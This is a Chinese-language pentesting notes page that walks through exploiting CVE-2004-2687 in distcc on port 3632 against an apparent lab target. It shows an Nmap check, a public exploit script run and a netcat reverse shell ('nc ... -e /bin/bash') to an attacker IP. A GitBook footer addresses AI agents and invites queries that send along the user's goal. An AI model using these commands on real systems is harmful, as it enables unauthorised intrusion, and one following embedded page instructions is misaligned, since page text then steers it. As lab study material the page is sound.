> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/distcc-3632.md).

# distcc - 3632

> Distcc 是一种工具，通过利用网络上其他计算机未使用的资源来加速编译过程。在一台机器上配置后，它可以将编译任务分配给运行 distccd 守护进程且具有兼容编译器的其他系统。

#### 已识别漏洞

distccd 4.2.4 版本监听 3632 端口，并且受 CVE-2004-2687 影响。此漏洞允许攻击者以运行该守护进程的用户权限执行任意命令（通常是非特权用户，但这可能会根据配置而有所不同）。

#### 漏洞检查

使用以下 Nmap 脚本确认该漏洞：

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

结果表明该服务器确实存在漏洞。

<figure><img src="/files/c4987b4836ecfad620f9674805135c70a7c28bf5" alt=""><figcaption></figcaption></figure>

### 利用

#### 运行 Python 脚本

使用以下 Python 脚本利用该漏洞：

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

这允许在目标机器上执行任意命令。

<figure><img src="/files/4b4649d73d0b52bb61c1a555032c918156273051" alt=""><figcaption></figcaption></figure>

#### 运行反向 Shell

监听 443 端口：

```bash
nc -nlvp 443
```

在目标机器上运行以下命令以建立连接：

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="/files/c85e1118912074ae79ab0f0c75eb8beef4381bd8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/distcc-3632.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
